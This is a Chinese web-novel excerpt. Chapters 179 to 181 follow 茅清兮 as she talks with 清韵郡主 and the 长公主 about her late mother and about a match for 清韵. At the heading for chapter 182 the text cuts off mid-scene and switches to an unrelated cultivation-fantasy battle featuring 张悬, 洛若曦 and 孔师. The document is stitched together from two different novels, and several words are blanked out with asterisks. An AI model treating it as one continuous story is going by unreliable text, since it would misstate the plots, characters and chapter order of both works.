潘云霄喉结滚动,嘴唇翕动了几下,竟想开口解释,为自己辩解几句。 但茅清兮只是冷哼一声,转身离去,没有丝毫留恋,像扔掉一件垃圾。 潘云霄眼神一黯,那股失落感如决堤的洪水,瞬间将他淹没,让他窒息。 …… 茅清兮离开巷子,深吸一口气,平复着紊乱的呼吸。 她快步走向停在路边的马车,像逃离一个是非之地。 清韵郡主正掀开车帘,焦急地张望着,像一只等待归巢的雏鸟。 “潘云霄没把你怎么样吧?” 见她安然无恙,清韵郡主上下打量着她,关切地问,声音微微发颤。 “没事,就他那三脚猫功夫,还伤不了我。” 茅清兮摇摇头,语气轻松,试图打消她的顾虑 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长公主打量她坐着的样子,眼角一阵抽搐,额头的青筋跳了跳: “清韵!你这像什么样子!” “娘,这又不是在外面,您就别管我了。” 清韵郡主吐了吐舌头,笑嘻嘻地辩解, “哎呀,您就放一百个心吧,我在外面的时候,可是端庄贤淑,绝对给您长脸。” 长公主强忍着怒气,深吸一口气,努力让自己平静下来。 她端起茶杯,轻轻吹了吹,却不小心洒了几滴在衣襟上。 “哎呀,娘,您小心点。”清韵郡主连忙放下点心,抽出帕子,轻轻擦拭长公主的衣襟。 长公主看着她笨手笨脚的样子,又好气又好笑,最终还是没忍住,伸手点了点她的额头。 “你呀,什么时候才能长大?” “在娘面前,我永远都是小孩子。”清韵郡主撒娇道,依偎在长公主身边。 茅清兮看着她们母女之间的互动,心中涌起一股暖流,又夹杂着一丝淡淡的酸楚。 她想起自己早逝的娘亲,如果她还在世,自己是不是也能像清韵这样,肆无忌惮地撒娇? 第一百七十九章 “清兮,这次多亏了你,才让清韵这丫头平安无事。”长公主看向茅清兮,眼神温柔。 “长公主言重了,清韵是我的朋友,朋友之间本就该互相帮助。”茅清兮连忙说道。 “话虽如此,但还是要谢谢你。不过我也真是没想到,你们俩竟然能成为朋友。”长公主笑了笑。 “谁说不是呢。”茅清兮也笑了,笑容里带着一丝感慨。 “咱们也算是过招之后成了朋友!”清韵郡主插嘴道,语气得意。 “就你那点三脚猫功夫,也好意思说‘打’?”茅清兮挑眉看向她,带着一丝戏谑。 “我……我那是让着你!”清韵郡主强词夺理。 “哦?是吗?那我下次可得好好‘感谢’你。”茅清兮似笑非笑。 “你……哼!”清韵郡主气鼓鼓地瞪着她。 长公主看着她们斗嘴,脸上的笑容更深了,仿佛看到了年轻时的自己。 “清兮,你和你娘真的很像。” 她轻声感叹,语气中带着一丝怀念,一丝感慨,还有一丝不易察觉的复杂。 茅清兮心中一动,这话她已经不是第一次听到了。 可每次听到,都让她心中泛起一阵涟漪。 她娘……究竟是个什么样的人? 冀大夫人,白苏道长,还有眼前的长公主…… 她们都认识自己的娘亲,而且似乎都与她有着不寻常的过往。 茅清兮感觉自己像是在玩一个大型解谜游戏,而她娘,就是那个最大的谜团。 她小心翼翼地问道,声音中带着一丝试探: “长公主,您……和我娘,以前是不是……认识?”“您为什么会这么问?”长公主眼底飞快地掠过一丝惊讶,但很快,这抹惊讶就被探究所取代。她微微侧过头,似乎想从茅清兮的脸上看出些什么端倪。 茅清兮端起茶盏,轻轻地吹了吹,却没喝。她的声音里带着几分无奈,几分自嘲,像是说给自己听的: “因为……我娘好像挺招人恨的。我遇到的那些人,提起她,好像都……不怎么喜欢她,话里话外都是刺。” “哦?”长公主挑了挑眉,显然来了兴致,身子微微前倾,“都有谁?” “冀大夫人……” 茅清兮故意隐去了白苏道长。她不愿透露与白苏道长相见之事,有些秘密,只能埋在心底,哪怕对面坐着的是长公主。 长公主听了,脸上竟浮现出一抹怀念的笑,像是想起了一段有趣的往事,眼神也变得柔和: “你说林臧雨啊,令堂对她也没好感。她们俩以前在一起的时候,那吵起架来,一个比一个厉害。今儿个说对方是红颜祸水,转眼就说令堂只看颜值,早晚得吃大亏。” 茅清兮怔了怔,心想,这话倒也没说错。她娘要不是看上了茅文昭那张脸,被迷得七荤八素,也不会嫁给他,落得那样的结局,早早地就没了。 这个念头只是一闪而过,她定了定神,压下心头的酸涩,忍不住好奇地问: “长公主,我娘以前和冀大夫人……究竟是什么样的交情?” “你娘、林臧雨还有我,我们三个以前是最好的朋友,好到……能穿一条裙子,盖一床被子的那种。”长公主说着,指尖轻轻摩挲着茶盏边缘,眼神飘向了远方,“虽然林臧雨和你娘总是拌嘴,今天你损我一句,明天我刺你一句,但她们之间的感情是真的,比金子还真,比什么都真。” 茅清兮愣住了。 她一直以为的“仇人”,竟是母亲当年的挚友?这反转,实在让她有些措手不及。 她那位提刀上马、叱咤风云的娘亲,竟然会和端庄娴雅的冀大夫人、温婉高贵的长公主是闺中密友? 这……这简直比戏文里唱的还离奇! 茅清兮感觉脑子有点乱,像一团缠在一起的线。她娘连个鸳鸯都绣不好,平日里和这些贵女们都聊些什么?总不能是聊怎么杀敌吧? 她实在想象不出那个画面,只觉得有些滑稽。 茅清兮的神情有些古怪,但长公主沉浸在回忆中,并没有注意到这些细节。 长公主的声音带着几分悠远,像是飘回了很久很久以前,那个无忧无虑的少女时代: “那时候臧雨最大,性子也最稳重,像个大姐姐。你娘最小,却古灵精 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长公主轻叹一声,声音里带着几分惋惜,几分怅然: “即使后来我们都到了京城,生活在同一片天空下,也再没见过面。如今就算想见,其中一位已然离世……” 长公主低垂双目,掩去了眼底的落寞和伤感。沉默了许久,她才勉强笑了笑,像是要驱散这突如其来的伤感,又像是自我安慰: “令堂与我等不同,她永远都是自由的,像一只飞鸟,无拘无束,更有一身绝世武艺傍身。好像这世上没有什么能困住她,没什么能拦住她。清兮,你现在和你娘当年真的很像,都有一股子闯劲,一股子不服输的劲儿。” 茅清兮笑了,心中是从未有过的平静和释然。 她一直觉得自己上一世活得很失败,很窝囊,若是被娘亲看到,一定会失望透顶,觉得自己给她丢脸了。所以这一世,她拼命想要活得更好,更精彩,希望有一天,能让娘亲骄傲地说一句“不愧是我邹童霜的女儿,有我当年的风范”。 可如今听长公主这么说,她忽然觉得,娘亲或许……会放心的,会为她骄傲的。 第一百八十章 “说起来,”长公主话锋一转,目光落在茅清兮身上,带着几分感慨,几分欣慰,“你嫁给了臧雨的儿子,又和清韵成了朋友,这可真是……冥冥之中自有天意,是剪不断的缘分。” “我和清兮是真心换真心,但她和冀容白嘛,可算不上什么恩爱夫妻,不过是凑合过日子。”清韵郡主冷不丁地插了一句,语气中带着几分不屑,几分嘲讽。 长公主有些疑惑,眉头微蹙,转头看向女儿:“哦?什么情况?难道皇帝舅舅赐婚,还能强逼着人过日子不成?” 茅清兮刚要开口解释,清韵郡主已经抢先一步,像打开了话匣子,噼里啪啦地说了起来: “娘,您是不知道,清兮是被皇帝舅舅赐婚给冀容白的,圣旨直接就下了,根本没问过清兮的意思!不然冀容白一个快要病死的人,太医都说他活不过二十,哪还能谈婚论嫁?这不是耽误人家姑娘的大好年华吗?” 长公主嗔怪地看了女儿一眼,语气中带着几分责备,几分无奈: “清兮你别听她胡说八道,她自己整天不想成亲,就见不得别人成亲,故意说些难听的话,想坏了你的心情。” “我哪有!”清韵郡主不满地嘟囔,声音却小了下去,气势也弱了几分,“我说的……本来就是真的嘛。而且冀容白不是有青梅竹马吗?听说感情好得很!有喜欢的人还娶别人,这不是欺骗人家姑娘的感情吗?真不要脸!” “清韵!”长公主面色转冷,提高了声音,带着几分威严。 清韵郡主连忙捂住嘴,做了个噤声的动作,表示自己不再多言,但眼神里还是有些不服气。 长公主看向茅清兮,眼神中带着歉意,温声解释,试图缓和气氛: “清兮,你别听清韵瞎说,小孩子家家,懂什么。什么两小无猜,仅是童年匆匆一面之缘。小孩子过家家,能算得了数吗?岁月早已流逝,谁还惦记着儿时那一面之缘?早忘到九霄云外去了。” 清韵郡主撇了撇嘴,小声嘀咕,声音几乎低不可闻: “那冀容白还留着人家姑娘送的定情信物呢……说是宝贝得很,谁都不许碰……” 茅清兮垂下眼帘,长长的睫毛遮住了眼底的情绪。 相比第一次在听雨阁前听到这话,如今她心里竟有些微微的异样,说不清是酸楚还是失落,像是被什么东西轻轻地硌了一下,虽然不疼,却让人无法忽视。 长公主眉峰倒竖,语气严厉起来,带着几分警告的意味: “哪有什么信物为证,不过是把破木剑罢了。小孩子家家觉得新奇,随便玩玩的东西,能当真吗?长大后连人都记不清了,早就不知道丢到哪个犄角旮旯里去了。” 长公主此言是对茅清兮所说,想让她别把清韵那些不着调的话放在心上,以免小夫妻俩因此产生隔阂,影响了感情。 但茅清兮的注意力却落在了“木剑”上,心头微微一震。 她想起小时候在云州,和大姐姐分别时,她也曾亲手做了一把木剑送给她,作为离别礼物。 只是女孩子习武的终究是少数,那把木剑,大概早就被大姐姐随手送人,或者……干脆当柴火烧了吧。 长公主不知道茅清兮有没有把刚才的话听进去,她有些担心。万一小夫妻俩因此产生隔阂,心生嫌隙,那可就不好了。她这个做长辈的,总不能眼睁睁看着。 她转头瞪了女儿一眼,语气不善,带着几分威胁: “清韵,这几天你给我老老实实待在府里,禁足!哪儿也不许去!我让你再胡说八道!” “为什么?”清韵郡主顿时不乐意了,声音也提高了八度,带着几分委屈和不甘,“我又没做错什么!” “为你物色良婿!清兮早已嫁作人妇,你也赶紧把婚事定下来,别整天像个野丫头似的!老大不小了,还让**心!”长公主毫不留情地驳回了女儿的**。 清韵郡主慌了神,她没想到今天请茅清兮过来,竟会引火烧身,把自己给绕进去了。原本以为能看场好戏,结果戏没看成,自己倒成了戏中人。 她眼珠子转了转,开始撒娇耍赖,试图蒙混过关: “娘,何必非要结这门亲事?万一再找个像乐雅朗那样的,我岂不是更倒霉?我现在这样自由自在的,不好吗?您就让我一辈子陪着您,孝顺您,不好吗?” 长公主却不为 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“那也不一定。我看……沈大人就挺不错的。”“沈大人?” 长公主尾音微微上扬,目光落在茅清兮脸上,细细打量,似乎想从她那双清澈的眼眸中寻出些更深层的意味。 清韵也愣住了,杏眼圆睁,眨巴了好几下,仿佛听到了什么天方夜谭,好不容易才回过神,声音里满是不敢相信: “啊?你说……韩长华?那个成天抱着书本的华儒?” 话里话外,都透着一股子嫌弃,仿佛那名字是什么脏东西似的。 长公主显然对这名字有些陌生,疑惑更甚: “韩长华……这名字本宫似乎有些耳熟,但一时之间又想不起来。究竟是哪家的公子?” 清韵撇撇嘴,语气无奈中带着一丝戏谑: “娘,您贵人事忙,不记得也正常。他呀,就是我爹的那个门生,韩长华。您忘了?之前他还来过咱们府里做客呢,当时还一本正经地说我不学无术,不通文墨,不懂诗书礼仪… 第一百八十一章 …” 她一边绘声绘色地模仿着韩长华当时的模样,一边小心翼翼地观察着长公主的脸色,生怕自己哪句话说错了。 清韵可没忘,就因为韩长华那几句不中听的话,她才跟他结下了梁子。之后逮着机会就想方设法捉弄他,让他出丑。 上次出城跑马,也是她故意为难,韩长华才不得不硬着头皮去的。 长公主听了,眼中闪过一丝了然,随即精光一闪,似乎想起了什么有趣的事情: “哦……本宫想起来了,是有这么个人。听说这小子是今科探花?本宫记得,他不仅才学出众,文章写得极好,相貌也是一等一的俊秀,在一众学子里,很是出挑。” 语气里,是毫不掩饰的欣赏,甚至带着一丝丈母娘看女婿的意味。 清韵一看自家娘亲这越来越满意的神色,顿时急了,声音都尖了几分,像是被踩了尾巴的猫: “娘!您……您这是怎么了?都不好好挑挑家世的吗?韩长华可是寒门出身,家徒四壁,穷得叮当响!您女儿我可是金枝玉叶,要是嫁过去,那可就得跟着他一起吃糠咽菜,受苦受罪了!” 长公主不以为意地睨了她一眼,仿佛在看一个不懂事的小孩子: “那又如何?京城里这么多世家公子,也没见你对哪个动过心,正眼瞧过人家。寒门出身又怎样,只要你肯点头嫁人,以后本宫这偌大的家产,还不都是你的?难不成你还真想一辈子留在府里,当个老姑娘?” 清韵心头一颤,险些被长公主的话给说动摇了。 她咬了咬牙,努力稳住心神,试图跟长公主讨价还价,声音软了下来,带着一丝撒娇的意味: “娘,要不……您先把家产给我?与其将来便宜了外人,不如先让我这个亲闺女花了呢!您说是不是?” 话音未落,长公主“啪”的一声,重重地拍在桌子上,吓得清韵一哆嗦,差点没从椅子上跳起来。 “你啥时候找个人嫁了,这个家的银子都归你管!否则,你一分都别想动!你就**这条心吧!” 长公主斩钉截铁,没有丝毫商量的余地。 清韵顿时像泄了气的皮球,满肚子的话都憋了回去,一个字也不敢多说,只能在心里暗自叫苦。 她拗不过自家娘亲,只能把气撒在茅清兮身上,狠狠地瞪了她一眼。那眼神,像是要把茅清兮给生吞活剥了。 茅清兮被瞪得莫名其妙,但还是笑着打圆场,试图缓和一下气氛: “清韵,你也别这么看着我嘛。我知道你现在不想成亲,可长公主这关你是肯定过不去的。与其让你嫁给那些个你不熟悉、也看不上眼的世家公子,不如找个穷小子算了。至少……” 她顿了顿,意有所指地看了清韵一眼,继续说道: “至少,你得选个自己能拿捏得住的,你说是不是?寒门子弟想要出头,就得依附于长公主府。这样一来,你婚后的日子,还不是想怎么过就怎么过?谁也管不着你。” 茅清兮今日之所以会在长公主面前提起韩长华,也是经过深思熟虑的。 她希望清韵能尽快成亲,摆脱既定的命运。 因为上一世,清韵的最终归宿是远嫁和亲,成为了**斗争的牺牲品。如果清韵能够早早成亲,有了自己的家庭,这个和亲的人选,无论如何也不会落在她头上。 但即便如此,茅清兮还是希望清韵能嫁给自己真心喜欢的人,就算没那么心动,也要让她嫁一个能保护她,让她下半辈子过得舒心的人。 更何况,她今天只是提了这么一嘴,长公主肯定也会对韩长华进行一番明察暗访,仔细考察。 至于两人到底合不合适,能不能成,还得等长公主和清韵的父亲都见过之后,才能下定论。 “真的……非得找个人嫁了才行??” 清韵低垂着眼,长长的睫毛遮住了眼底的复杂情绪,声音很轻,带着一丝迷茫和不安,像是在问茅清兮,又像是在问自己。 茅清兮脚步一顿,有些不解地看向清韵。她总觉得清韵对成亲这件事,有着超乎寻常的抵触。 “你……为什么这么排斥成亲?或者说,为什么这么排斥男人?” 她能感觉到,清韵这已经不是单纯的不想嫁人,而是对男人有一种发自内心的厌恶和恐惧。 清韵抬起头,扯出一个勉强的笑容,眼神却有些闪躲,避开了茅清兮探究的目 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她的院子里,有一个专门用来收藏兵器的仓库。那里面,可都是她的宝贝。虽然算不上什么削铁如泥的绝世名剑,但也都是出自名家之手,锋利无比,寒光闪闪。 茅清兮对这些也颇感兴趣。两人一拍即合,直奔兵器库。 一进门,茅清兮就被眼前琳琅满目的兵器给惊呆了。 刀枪剑戟,斧钺钩叉,十八般兵器,应有尽有。每一件都擦得锃亮,在烛光下闪烁着寒光。 茅清兮随手拿起一把短剑,轻轻一挥,只听“唰”的一声,剑锋划破空气,发出清脆的鸣响。 “好剑!” 茅清兮忍不住赞叹道。 清韵得意地挑了挑眉, “那是当然,也不看看是谁的宝贝!” 茅清兮在兵器库里转了一圈,仔细挑选,最后选中了一把轻巧的青萍剑。 这把剑,剑身细长,薄如蝉翼,却又锋利无比,非常适合女子使用。 清韵见她喜欢,二话不说就将剑从架子上取下来,塞到茅清兮手里: “既然你喜欢,那就送给你了!咱们姐妹之间,不用客气! 第一百八十二章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 